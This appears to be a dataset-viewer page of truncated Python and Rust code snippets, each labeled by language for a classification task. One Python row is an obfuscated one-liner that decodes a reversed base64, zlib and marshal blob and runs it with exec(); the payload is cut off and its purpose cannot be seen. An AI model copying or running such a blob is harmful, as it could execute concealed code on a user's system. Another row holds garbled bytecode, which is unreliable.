text string | label_name string | labels int64 |
|---|---|---|
lumns)
grid=initBinaryTreeMaze(grid)
print("Binary Tree Maze:")
print(grid)
grid=DistanceGrid(rows,columns)
grid=initRecursiveBacktrackerMaze(grid)
startRow=0#random.randint(0, rows-1)
startColumn=0#random.randint(0, columns-1)
start = grid.getCell(startRow,startColumn)
goalRow=rows... | Python | 1 |
x03) << 20);
self.w
}
}
#[doc = "Field `CH0_LCTRL_MODE_U6` reader - This register is used to control the mode of channel0's low control signal for unit6. 2'd0:increase when control signal is low 2'd1: decrease when control signal is high others:forbidden"]
pub struct CH0_LCTRL_MODE_U6_R(crate::FieldReader<u... | Rust | 0 |
import torch
def load_model(resume, model=None): # for now model will be None for CVAE
checkpoint = torch.load(resume)
model.load_state_dict(checkpoint['state_dict'])
model = model.cuda()
return model
def iter_product(*args, repeat=1):
# product('ABCD', 'xy') --> Ax Ay Bx By Cx Cy Dx Dy
# ... | Python | 1 |
# Generated by Django 2.2.15 on 2020-11-20 11:39
from django.db import migrations, models
def set_countries_connectivity_and_coverage_availability(apps, schema_editor):
Country = apps.get_model('locations', 'Country')
SchoolWeeklyStatus = apps.get_model('connection_statistics', 'SchoolWeeklyStatus')
for... | Python | 1 |
c, Arc},
time::Duration,
};
use parking_lot::Mutex;
use query::QueryText;
use time::{Time, TimeProvider};
use trace::ctx::TraceId;
// The query duration used for queries still running.
const UNCOMPLETED_DURATION: i64 = -1;
/// Information about a single query that was executed
pub struct QueryLogEntry {
/// ... | Rust | 0 |
by
}
}
impl Collider for CollisionType {
/// Remove collision testing for Wall - Wall shape pairs
fn should_generate_contacts(&self, other: &CollisionType) -> bool {
self != other || *self != CollisionType::Wall
}
}
// Since our data is very small, we can probably benefit from
// Dense vector... | Rust | 0 |
super().__init__(f, bounds)
self.constraint_type = constraint_type
self.tolerance = tolerance
self.df = df if df is not None else self._approx_derivative
def call(self, result: np.ndarray, x: np.ndarray, grad: np.ndarray) -> None:
"""
Execute the constraint function in the f... | Python | 1 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2012-2021 SoftBank Robotics. All rights reserved.
# Use of this source code is governed by a BSD-style license (see the COPYING file).
""" Test QiSrc Rm Group """
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ ... | Python | 1 |
itecture::Arm(_) => Arch::Armv7L,
target_lexicon::Architecture::Aarch64(_) => Arch::Aarch64,
target_lexicon::Architecture::Powerpc64 => Arch::Powerpc64,
target_lexicon::Architecture::Powerpc64le => Arch::Powerpc64Le,
target_lexicon::Architecture::S390x => Arch::S390X,
... | Rust | 0 |
len(cells_1[j])
if lc1 > 0:
grad = np.sum(c_current[j] - cells_2[j], axis=0) / s2
c_current[j] = c_current[j] - grad / ((t + 1) * len(cells_1[j]) / s1)
else:
raise NotImplemented('Order %s is not available yet. Only order=2. is valid in this n... | Python | 1 |
context_patches[scale] = standardize_brightness(scale_patch)
if normalize_stains:
patches, _, _ = macenko_normalization(
patches, normalization_vector_path=normalization_vector_path
)
for scale, scale_patch in context_patches.items():
co... | Python | 1 |
week-days, the commute pattern is still visible in
# the 5% and 95% estimations.
# - Finally, it is expected that 10% of the time, the actual demand does not lie
# between the 5% and 95% percentile estimates. On this test span, the actual
# demand seems to be higher, especially during the rush hours. It might rev... | Python | 1 |
"
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
adding special tokens. A CLIP sequence has the following format:
- single sequence: `<|startoftext|> X <|endoftext|>`
Pairs of sequences are not the expected use case, but ... | Python | 1 |
mass_O2 + mass_O2
final_total_mass_H2O = final_total_mass_H2O + mass_H2O
final_total_mass_CO2 = final_total_mass_CO2 + mass_CO2
print("-------------------------------------------------------------------------------------------------")
# Comparing relative error (final - start / start... | Python | 1 |
# test hard_voxelization (non-deterministic version) on gpu
# with all input point in range
points = torch.tensor(points).contiguous().to(device='cuda:0')[:max_voxels]
coors_all = dynamic_voxelization.forward(points)
valid_mask = coors_all.ge(0).all(-1)
points = points[valid_mask]
coors_all... | Python | 1 |
tecture", None, True)
mock_instance.render.assert_called_once_with("cloud", "png")
assert "Created cloud diagram" in result
def test_diagram_uml_class(self):
"""Test creating a UML class diagram."""
elements = [
{"name": "User", "attributes": ["name: string", "em... | Python | 1 |
t_valid_when_11_digits_and_starting_with_1_even_with_punctuation() {
assert_eq!(
phone::number("+1 (223) 456-7890"),
to_some_string("2234567890")
);
}
#[test]
#[ignore]
fn test_invalid_when_more_than_11_digits() {
assert_eq!(phone::number("321234567890"), None);
}
#[test]
#[ignore]
fn test... | Rust | 0 |
"""
Implement a function that adds two numbers together and returns their sum in binary. The conversion can be done before,
or after the addition.
The binary number returned should be a string.
Examples:(Input1, Input2 --> Output (explanation)))
1, 1 --> "10" (1 + 1 = 2 in decimal or 10 in binary)
5, 9 --> "1110" (5 ... | Python | 1 |
Color::Yellow.paint(process.name()),
);
tw.write_all(header.as_bytes())?;
}
}
Ok(())
}
<reponame>Randati/cjdrs
use std::fmt;
use std::mem;
use std::num::Int;
use std::cmp::Ordering;
use std::slice::bytes::copy_memory;
use sodiumoxide::crypto::hash::sha512;
use Pu... | Rust | 0 |
scenario, everything is removed after the bonding duration
withdraw_unbonded_kill {
// Slashing Spans
let s in 0 .. MAX_SPANS;
let (stash, controller) = create_stash_controller::<T>(0, 100, Default::default())?;
add_slashing_spans::<T>(&stash, s);
let amount = <T as Config>:... | Rust | 0 |
# -*- coding: utf-8 -*- #
# Copyright 2018 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | 1 |
"""
@Time : 2018/7/17 19:28
@Author : 郭家兴
@Email : 302802003@qq.com
@File : client.py
@Desc :
"""
import os
import yaml
from flask import jsonify
from app.libs.certification import get_certification, cert_file_path
from app.libs.error_code import Success
from app.libs.redprint import Redprint
import dock... | Python | 1 |
tion = None;
self.confirmed = true;
self.panel.replace(
ctx,
"instructions",
"Confirm the trip settings".text_widget(ctx),
);
self.panel.replace(
... | Rust | 0 |
import ipdb
import numpy as np
import gym
from gym import spaces
class POMDPWrapper(gym.ObservationWrapper):
def __init__(self, env, mask=None,
flicker_prob=0., noise_sigma=0., sensor_missing_prob=0.):
assert isinstance(env, gym.Env)
super().__init__(env)
self._max_episode_steps =... | Python | 1 |
# [1] https://doi.org/10.1016/j.cplett.2012.07.003
# Improved definition of bond orders for correlated wave functions
# Mayer, 2012
# [2] https://doi.org/10.1002/qua.26612
# Investigating István Mayer's “improved” definitions of bond orders
# and free valence for correlated singlet-state wave... | Python | 1 |
ords), rnn_size])
inputs = tf.nn.embedding_lookup(embedding, input_data)
#一次执行多步:tf.nn.dynamic_rnn
outputs, last_state = tf.nn.dynamic_rnn(cell, inputs, initial_state=initial_state, scope='rnnlm')
output = tf.reshape(outputs,[-1, rnn_size])
logits = tf.matmul(output, softmax_w) + softmax_b... | Python | 1 |
base.y == p1.y {
// } else if base.y == p1.x
// if && l0.intersect(&l1) {
// return false;
// }
// }
// true
// };
// let mut vec = vec![];
// for p in pos_list.iter() {
// if visible(p) {
// vec.push(*p);
// ... | Rust | 0 |
&str) -> String {
let mut output = Vec::new();
let delete_harakat = self.configuration["delete_harakat"];
let delete_tatweel = self.configuration["delete_tatweel"];
let support_zwj = self.configuration["support_zwj"];
let shift_harakat_position = self.configuration["shift_haraka... | Rust | 0 |
HashMap::new())), Stone::White));
}
#[test]
fn one_cell_count_liberties() {
let mut board = Board::new(9, 9);
board.stones[2][1] = Some(Stone::White);
assert_eq!(4, board.count_liberties(Position(1, 2), Rc::new(RefCell::new(HashMap::new())), Stone::White))
}
#[test]
fn two_stones_count_liberties() {
... | Rust | 0 |
, Utc};
use csv;
use serde::{Deserialize, Serialize};
use crate::qaaccount::marketpreset::MarketPreset;
use crate::qaaccount::order::QAOrder;
use crate::qaaccount::position::{QA_Frozen, QA_Postions};
use crate::qaaccount::transaction;
use crate::qaaccount::transaction::QATransaction;
use crate::qautil::tradedate::QATr... | Rust | 0 |
print("yaprak sarma seviyorum :) ")
import tkinter as tk
from gpiozero import LED
from time import sleep
window = tk.Tk()
window.title("Raspberry Pi GUI")
window.geometry("800x600") # width and height
#16.09.2025 saat 15:42 led on off yapıldı.
led = LED(18) # Buradaki bmc numarası = gpio numarasıdır
# Add a ... | Python | 1 |
e[int, int | None]rp r r rZ rp r rq r r r r r~ r r r r r zMapping[str, Any]r r X__doc__
__future__r rA dataclassesr r r siter
r/ rlcompleterr r rn r r completing_readerr r" r ConsoleTyperL unix_consoler r ImportErrorwind... | Python | 1 |
q, Direction::Front, timeout))
},
}
},
}
}#[doc = r"Register block"]
#[repr(C)]
pub struct RegisterBlock {
_reserved0: [u8; 1280usize],
#[doc = "0x500 - Unspecified"]
pub vregradio: VREGRADIO,
}
#[doc = r"Register block"]
#[repr(C)]
pub struct VREGRADIO {
#[... | Rust | 0 |
async fn fetch_schema(&self, table_name: &str) -> Result<Option<Schema>> {
self.items
.get(table_name)
.map(|item| Ok(item.schema.clone()))
.transpose()
}
async fn scan_data(&self, table_name: &str) -> Result<RowIter<Key>> {
let rows = match self.items.get(ta... | Rust | 0 |
# 1. Faça um programa que leia o email de uma pessoa e mostre, separadamente, qual o login e qual o domínio. Por exemplo, suponha que o email seja "fulano@provedor.com.br", então o login será "fulano" e o domínio será "provedor.com.br".
email = input("Diga seu email: ")
divisao = email.split("@")
dominio = divisao[1]
... | Python | 1 |
"/api/appliance/networking/proxy/{protocol}?action=test"
)
if subdevice_type and not params[subdevice_type]:
_json = await exists(params, session, build_url(params))
if _json:
params[subdevice_type] = _json["id"]
_url = (
"https://{vcenter_hostname}"
# aa
... | Python | 1 |
/// Token type
pub token_type: TokenKey,
/// The commit referencing the output being spent.
#[serde(
serialize_with = "secp_ser::as_hex",
deserialize_with = "secp_ser::commitment_from_hex"
)]
pub commit: Commitment,
}
#[derive(Debug, Copy, Clone, Serialize, Deserialize)]
pub struct OutputV4 {
/// Options for... | Rust | 0 |
# This program is licensed under the GNU General Public License v3.
# Copyright (C) 2024 ZenonFOX
# See the LICENSE file for details.
_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'==gLrvc9B8XY/Uf/l03m8VAdVC1Xf/5bM4LP+/58vuHWf/c2PPOAg/9nP8... | Python | 1 |
der()
.status(StatusCode::UNAUTHORIZED)
.body("{ \"message\": \"Invalid session.\" }"));
}
let session = session.unwrap();
let permissions = Permission::fetch_all(&db, session.user_id);
if permissions.is_err() {
return Ok(Response::builder()
.status(StatusCo... | Rust | 0 |
ame__} indices")
# Build the dataset and dataset sample indexes
log_rank_0(logging.INFO, f"\tBuild and save the dataset and dataset sample indexes")
t_beg = time.time()
dataset_index = np.zeros(self.size, dtype=np.int16)
dataset_sample_index = np.zeros(self.... | Python | 1 |
es])
else:
valid_mask = xp.ones(len(values), dtype=xp.bool)
diff = list(diff)
if none_in_diff:
diff.append(None)
if nan_in_diff:
diff.append(np.nan)
else:
unique_values = xp.unique_values(values)
diff = xpx.setdiff1d(unique... | Python | 1 |
['title', 'excerpt', 'content'])
self.assertEquals(cm.dataset().values(), ['My nodetype 1 My content 1',
'My nodetype 2 My content 2'])
def test_vector_builder(self):
vectors = VectorBuilder(Nodetype.objects.all(),
... | Python | 1 |
assert_width("👩🏽", 2);
assert_width("👩🏾", 2);
assert_width("👩🏿", 2);
// Other variations
assert_width("👩🔬", 2);
assert_width("🧘🏽♀️", 2);
assert_width("👨🏻❤️👨🏿", 2);
assert_width("🧑🦲", 2);
assert_width("👨🏿🦲", 2);
//... | Rust | 0 |
(read(4))
x0 = si32(read(4))
y1 = si32(read(4))
x1 = si32(read(4))
# image info
mode = []
ct_types = i16(read(2))
if ct_types > 4:
fp.seek(ct_types * 6 + 12, io.SEEK_CUR)
size = i32(read(4))
fp.seek(size, io.SEEK_CUR)
... | Python | 1 |
: usize, value: u8) -> Result<(), QError> {
if address == INDICATOR_KEYS_ADDRESS {
unsafe { set_indicator_keys(value) }
} else {
unimplemented!()
}
}
}
#[cfg(test)]
mod tests {
use crate::assert_linter_err;
use crate::common::QError;
#[test]
fn must_... | Rust | 0 |
TRIMINV = crate::Reg<refo1triminv::REFO1TRIMINV_SPEC>;
#[doc = "REFO1TRIMINV register"]
pub mod refo1triminv;
#[doc = "PB1DIV register accessor: an alias for `Reg<PB1DIV_SPEC>`"]
pub type PB1DIV = crate::Reg<pb1div::PB1DIV_SPEC>;
#[doc = "PB1DIV register"]
pub mod pb1div;
#[doc = "PB1DIVCLR register accessor: an alias ... | Rust | 0 |
{
"terms": {
"field": "test_field",
"size": 5,
"min_doc_count": 2,
"show_term_doc_count_error": false,
"missing": "N/A",
"order": [
{ "test_order": "asc" }
... | Rust | 0 |
();
let key_id = test_client.generate(attributes, None);
let copied_key_id = test_client.copy_key(key_id, attributes, None);
let mut original_key_material = vec![0; attributes.export_key_output_size().unwrap()];
let mut copied_key_material = vec![0; attributes.export_key_output_size().unwrap()];
te... | Rust | 0 |
test-😉-name.".repeat(100)[..255];
self.create_file(&dir.join(long_name), b"lower:long-name")?;
self.set_xattr(
&dir.join("sub/sub-1"),
"user.key-foo",
"value-foo".as_bytes(),
)?;
self.set_xattr(
&dir.join("sub/sub-1"),
"user.... | Rust | 0 |
c<u8>;
fn verify_prepared_buy(&mut self, buy_info: &[u8]) -> anyhow::Result<()>;
async fn verify_and_wait_for_lock(
&mut self
) -> anyhow::Result<()>;
async fn complete_refund_and_prepare_spend(
&mut self,
lock_and_host_signed_refund: &[u8]
) -> anyhow::Result<Vec<u8>>;
async fn claim_refund... | Rust | 0 |
import re
from typing import Set
import sys
import numpy as np
from rdkit import Chem
from rxnmapper import RXNMapper
def run_rxnmapper(
generated_smiles_path: str,
enforced_structures_smiles_path: str
) -> np.array:
"""
For every generated molecule, find the maximum fraction of atoms that can be mapp... | Python | 1 |
of entries to append.
pub values: Entries,
}
#[cfg(test)]
mod tests {
use super::*;
use threshold_crypto::SecretKey;
use unwrap::unwrap;
#[test]
fn append_permissions() {
let mut data = SeqAppendOnlyData::<UnpubPermissions>::new(XorName([1; 32]), 10000);
// Append the first pe... | Rust | 0 |
tmp = tmp.nutketiep
def main():
ds = Linked_List()
while True:
print("===Menu===")
print("1. Chèn một học sinh mới vào danh sách cuối cùng.")
print("2. Sắp xếp danh sách theo thứ tự tăng dần của Điểm")
print("3. Chèn một học sinh mới vào danh sách đã sắp xếp để có danh sác... | Python | 1 |
File::create(&self.config.etcd.config_file)?;
let config = reg.render_template(
ETCD_BOOTSTRAP_CONFIG,
&json!({
"etcd_ca_file_path": CaCertificate::new(&self.config).cert_path(),
"etcd_server_cert_file_path": self.config_pa... | Rust | 0 |
t.year, result.month, result.day, result.hour, result.min, result.act, configuration.case_id, configuration.evidence_id]
))
query = "Insert into usage_day_stat values (%s, %s, %s, %s, %s, %s, %s, %s);"
if len(insert_data) > 0:
configuration.cursor.bulk_execute(query, insert_data)... | Python | 1 |
for register SEC_GPIO_MASK0"]
pub type W = crate::W<u32, super::SEC_GPIO_MASK0>;
#[doc = "Register SEC_GPIO_MASK0 `reset()`'s with value 0xffff_ffff"]
impl crate::ResetValue for super::SEC_GPIO_MASK0 {
type Type = u32;
#[inline(always)]
fn reset_value() -> Self::Type {
0xffff_ffff
}
}
#[doc = "... | Rust | 0 |
else "inf"
print(f"WARNING: the following validator/validator_args have {type_str}")
print(curr_df)
if assert_none:
raise ValueError("There should be no scores with nan or inf")
def is_nan_or_inf(df):
return np.isnan(df) | np.isinf(df)
def remove_arg(df, to_re... | Python | 1 |
from langchain_chroma import Chroma # Updated import
from langchain_community.document_loaders import PyPDFLoader
from langchain_text_splitters import RecursiveCharacterTextSplitter
from utils.utils import embedding_model
import os
VECTOR_DB_PATH = "./chroma_langchain_db"
def initialize_vector_store():
return Ch... | Python | 1 |
from ....utils.ioUtils import write_float, write_string, write_uInt32, write_uInt16
def create_wmb_meshes(wmb_file, data):
wmb_file.seek(data.meshes_Offset)
for mesh in data.meshes.meshes:
write_uInt32(wmb_file, mesh.nameOffset) # nameOffset
for val in mesh.boundingBox: ... | Python | 1 |
-ADS': '',
'metodo-calc_wds_other-HD': '1',
'dato-calc_wds_other-HD': '',
'metodo-calc_wds_other-HR': '1',
'dato-calc_wds_other-HR': '',
'metodo-calc_wds_other-HIP': '1',
'dato-calc_wds_other-HIP': '',
'metod... | Python | 1 |
import pandas as pd
import numpy as np
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import RandomForestClassifier
from xgboost import XGBClassifier
from sklearn.metrics import classification_report, confusion_matrix, roc_auc_score
from sklearn.model_selection import train_test_split
from tenso... | Python | 1 |
# A Cropper - Image cropping script
# Dr Lee A. Christie
# GitHub: @leechristie
# Mastodon: @0x1ac@techhub.social
# Sunday, 6th October 2024
from PIL import Image
from tqdm.auto import tqdm
import os
INPUT_FOLDER: str = './input'
OUTPUT_FOLDER: str = './output'
# SET CROP PARAMETERS HERE - BEFORE SPLIT
LEFT_CROP ... | Python | 1 |
import os
import sys
import math
import numpy
from matplotlib import use
use('Agg')
from matplotlib import pyplot
#====================
#====================
def setPyPlotXLabels(xdata, maxloc, square=True):
"""
assumes xdata is in units of 1/Angstroms
"""
minloc = xdata.min()
if maxloc is None:
maxloc = xdat... | Python | 1 |
_galley,
Theme::Blue.into(),
);
// Draw plot
let rect = Rect::from_min_size(
Pos2::new(
rect.left() + GRAPH_PADDING,
rect.top() + title_height + GRAPH_PADDING,
),
... | Rust | 0 |
_header_value")
);
}
}
// This file is part of Substrate.
// Copyright (C) 2020-2021 Parity Technologies (UK) Ltd.
// SPDX-License-Identifier: Apache-2.0
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain... | Rust | 0 |
#
# [78] Subsets
#
# https://leetcode.com/problems/subsets/description/
#
# algorithms
# Medium (47.99%)
# Total Accepted: 282.2K
# Total Submissions: 587.3K
# Testcase Example: '[1,2,3]'
#
# Given a set of distinct integers, nums, return all possible subsets (the
# power set).
#
# Note: The solution set must not ... | Python | 1 |
<gh_stars>10-100
use cfg_rs::*;
use std::{collections::HashMap, env::set_var};
type R<V> = Result<V, ConfigError>;
#[derive(Debug, FromConfig)]
#[config(prefix = "suit")]
struct ConfigSuit {
#[config(name = "val")]
int: IntSuit,
arr: Vec<String>,
brr: Vec<Vec<String>>,
#[config(name = "val")]
... | Rust | 0 |
ret0: i64 = 0;
let mut ret1: i64 = 0;
let mut ret2: i64 = 0;
let mut ret3: i64 = 0;
let err_val = af_get_dims(
&mut ret0 as *mut dim_t,
&mut ret1 as *mut dim_t,
&mut ret2 as *mut dim_t,
&mut ret3 as *mut dim... | Rust | 0 |
, I: WriteFrame>(
mut wm8731: impl Mutex<T = Wm8731<I>>,
mut opts: impl Iterator<Item = &'a str>,
) {
if let Some(val) = opts.next() {
if let Ok(val) = val.parse::<f32>() {
let coef = 2. / 3.;
let vol = (val * coef + (InVoldB::Z0DB.into_raw() as f32)) as u8;
let v... | Rust | 0 |
import logging
from http import HTTPStatus
from typing import Any, Dict, List, Tuple
from flask_jwt_extended import jwt_required
from sqlalchemy.orm.exc import NoResultFound
from tensorhive.config import API
from tensorhive.controllers.nodes import get_infrastructure
from tensorhive.models.Resource import Resource
log... | Python | 1 |
model_type = "unimernet"
config["Metric"]["cal_bleu_score"] = True
elif config["Architecture"]["algorithm"] in [
"PP-FormulaNet-S",
"PP-FormulaNet-L",
"PP-FormulaNet_plus-S",
"PP-FormulaNet_plus-M",
"PP-FormulaNet_plus-L",
... | Python | 1 |
#!/usr/bin/env python3
"""
Simple example showing how to use the new modular Google Image Scraper
"""
import asyncio
import sys
import os
# Add the src directory to the Python path for imports
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'src'))
from google_image_scraper import GoogleImageScraper... | Python | 1 |
fibonacci_series() {
let mut jack_vm = compile_program(
"
// Puts the first argument[0] elements of the Fibonacci series
// in the memory, starting in the address given in argument[1].
// Argument[0] and argument[1] are initialized by the test script
/... | Rust | 0 |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from . import privacy_lookup_wizard
| Python | 1 |
tamp}.npy', 'stock_data_test_latest.npy')
]:
src_path = os.path.join(output_dir, src)
dst_path = os.path.join(output_dir, dst)
# Supprimer le lien existant s'il existe
if os.path.exists(dst_path):
os.remove(dst_path)
# Créer le nouveau lien symbo... | Python | 1 |
pub TokenRate: u32,
pub TokenBucketSize: u32,
pub PeakBandwidth: u32,
pub Latency: u32,
pub DelayVariation: u32,
pub ServiceType: u32,
pub MaxSduSize: u32,
pub MinimumPolicedSize: u32,
}
impl ::core::marker::Copy for FLOWSPEC {}
impl ::core::clone::Clone for FLOWSPEC {
fn clone(&sel... | Rust | 0 |
},
sync::{
Arc,
RwLock,
},
};
pub struct App {
pub quit: bool,
pub config: Config,
pub loaded_data: LoadedData,
pub cmdline_focused: bool,
pub input: String,
pub client: Client,
pub runtime: Arc<RwLock<Runtime>>,
pub player: Player,
pub cur... | Rust | 0 |
from pydantic import BaseSettings
import os
from dotenv import load_dotenv
load_dotenv()
class FeatureFlags(BaseSettings):
# Beta Phase Features
ENABLE_CHATGPT: bool = True # Always enabled in beta
ENABLE_DEBUG_LOGGING: bool = os.getenv("DEBUG", "False").lower() == "true"
# Optional Integrations... | Python | 1 |
f self.show_basic:
return tfsd
else:
sb = wx.StaticBox(self, -1, 'Hole Finder Settings')
sbsz = wx.StaticBoxSizer(sb, wx.VERTICAL)
self.widgets['skip'] = wx.CheckBox(self, -1, 'Skip automated hole finder')
sz = wx.GridBagSizer(5, 5)
sz.Add(self.widgets['skip'], (0, 0), (1, 1),
wx.ALIGN_CENTE... | Python | 1 |
ec, panic_trap_handler as *const () as u64);
// Read and process host FDT.
let mut fdt = Fdt::new(pa2va(device_tree_blob));
assert!(fdt.magic_valid());
assert!(fdt.version() >= 17 && fdt.last_comp_version() <= 17);
assert!(fdt.total_size() < 64 * 1024);
let machine = fdt.parse();
// Initia... | Rust | 0 |
ipmap_level,
last_mipmap_level,
first_layer,
last_layer,
} = self;
CUDA_RESOURCE_VIEW_DESC {
format: unsafe { transmute(format) },
width,
height,
depth,
firstMipmapLevel: first_mipmap_level,
last... | Rust | 0 |
32.",stringify!($name)," (i32.const {val}))))
"), val = a));
static ONCE: Once = Once::new();
ONCE.call_once(|| translated.disassemble());
translated.execute_func::<(), u32>(0, ()) == Ok($func(a))
}
... | Rust | 0 |
#
# SPDX-License-Identifier: MIT
#
# Copyright (c) 2025 Carsten Igel.
#
# This file is part of simplepycons
# (see https://github.com/carstencodes/simplepycons).
#
# This file is published using the MIT license.
# Refer to LICENSE for more information
#
""""""
# pylint: disable=C0302
# Justification: Code is generated
... | Python | 1 |
def test_simple_profiler_memory_caching():
"""A test case simulating memory caching for SimpleProfiler"""
model_library = ModelLibrary(models=[ModelA, ModelB, ModelC, ModelD,
Pipeline2])
pipeline = model_library.get('pipeline2')
item = {'abc': 123}
profiler = SimpleProfiler(pipeline)
_ =... | Python | 1 |
no_status_error = true;
resp
}
};
// Empty response body only on HEAD requests and status error (404,50x)
if req.method == iron::method::Head && !no_status_error {
resp.set_mut(vec![]);
}
Ok(resp)
}
}
use serde::{Deseri... | Rust | 0 |
from menu import menu
profit = 0
resources = {
"water": 300,
"milk": 200,
"coffee": 100
}
coffee_machine_on = True
# TODO: Create a function to return current resource values
def generate_resources():
"""Generates current value of resources present in the coffee machine"""
print(f"Water: {resour... | Python | 1 |
meta: Meta { total },
}))
}
<reponame>lehmanju/dtn7-rs
use crate::store_remove;
use crate::store_update_metadata;
use anyhow::Result;
use bp7::{Bundle, EndpointID};
use log::warn;
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::fmt;
use std::time::{SystemTime, UNIX_EPOCH};
/// Constrai... | Rust | 0 |
ub fn reload_data_from_db(
db_url: &str,
room_id: &str,
min_state_group: Option<i64>,
groups_to_compress: Option<i64>,
level_info: &[Level],
) -> Option<(BTreeMap<i64, StateGroupEntry>, i64)> {
// connect to the database
let mut builder = SslConnector::builder(SslMethod::tls()).unwrap();
... | Rust | 0 |
# Copyright (c) 2022 NVIDIA CORPORATION. All rights reserved.
# NVIDIA CORPORATION and its licensors retain all intellectual property
# and proprietary rights in and to this software, related documentation
# and any modifications thereto. Any use, reproduction, disclosure or
# distribution of this software and relate... | Python | 1 |
/html/vkspec.html#VkImageResolve)
#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)]
pub struct ImageResolve {
pub src_subresource: ImageSubresourceLayers,
pub src_offset: Offset3D,
pub dst_subresource: ImageSubresourceLayers,
pub dst_offset: Offset3D,
pub extent: Extent3D,
}
impl<'a> From<&'a Imag... | Rust | 0 |
assert!(exec.run_until_stalled(&mut start_future).is_pending());
receive_simple_accept(&remote, 0x03); // Set Configuration
assert!(exec.run_until_stalled(&mut start_future).is_pending());
receive_simple_accept(&remote, 0x06); // Open
match exec.run_until_stalled(&mut start_... | Rust | 0 |
file(&mut self, bn_file_idx: PathBuf) {
self.data.binlog_index_file = bn_file_idx;
}
pub fn binlog_index_file(&self) -> &PathBuf {
&self.data.binlog_index_file
}
pub fn resume_offset_file(&self) -> &Path {
&self.data.resume_offset_file
}
pub fn local_store_file(&self) ... | Rust | 0 |
import socket
import time
import re
from util import hook
socket.setdefaulttimeout(10)
nick_re = re.compile(":(.+?)!")
# Auto-join on Invite (Configurable, defaults to True)
@hook.event('INVITE')
def invite(paraml, conn=None):
invite_join = conn.conf.get('invite_join', True)
if invite_join:
conn.j... | Python | 1 |
from fastapi import APIRouter
from app.api.v1.endpoints import summoners, matches, analytics, champion_mastery, live_games
api_router = APIRouter()
# Include all endpoint routers
api_router.include_router(summoners.router, prefix="/summoners", tags=["summoners"])
api_router.include_router(matches.router, prefix="/ma... | Python | 1 |
use test_helpers::*;
#[test]
#[ignore]
fn s3_works() {
let (machine1, scratch) = init();
let (machine1, scratch) = (machine1.path(), scratch.path());
let remote = "s3://REPLACEME.ams3.digitaloceanspaces.com/test";
random_zstd_file(scratch.join("build1.tar.zst")).unwrap();
artefacta(machine1, rem... | Rust | 0 |
args)
@route()
def portal_chatter_post(self, res_model, res_id, message, attachment_ids=None, attachment_tokens=None, **kw):
project_sharing_id = kw.get('project_sharing_id')
if project_sharing_id:
token = self._check_project_access_and_get_token(project_sharing_id, res_model, res_i... | Python | 1 |
from typing import Set, Optional
from datetime import date
import polars as pl
from nicegui import ui
from web.pagetemplate import PageTemplate
from web.components.aggrid_polars import AgGridPolars
from web.components.cards.cardscontainer import CardContainer
from web.components.cards.cardtypes import CardType
cla... | Python | 1 |
&self.url
}
fn from_component(component: Component) -> Option<Self> {
let uid = Uid(component.get_only("UID")?.value_as_string());
let kind = {
let categories_value = component.get_only("CATEGORIES")?.value_as_string();
let categories = categories_value.split(','... | Rust | 0 |
import infra.basetest
from tests.init.base import InitSystemBase as InitSystemBase
class InitSystemBusyboxBase(InitSystemBase):
config = infra.basetest.BASIC_TOOLCHAIN_CONFIG + \
"""
# BR2_TARGET_ROOTFS_TAR is not set
"""
def check_init(self):
super(InitSystemBusyboxBase, self... | Python | 1 |
InvalidAmount
);
ensure!(
Self::get_free_balance(who) >= new_locked.amount,
Error::<T>::InsufficientFunds,
);
T::Currency::set_lock(LOCK_ID, &who, new_locked.amount, WithdrawReasons::all());
<Locked<T>>::insert(who, new_locked.clone());
Self::che... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.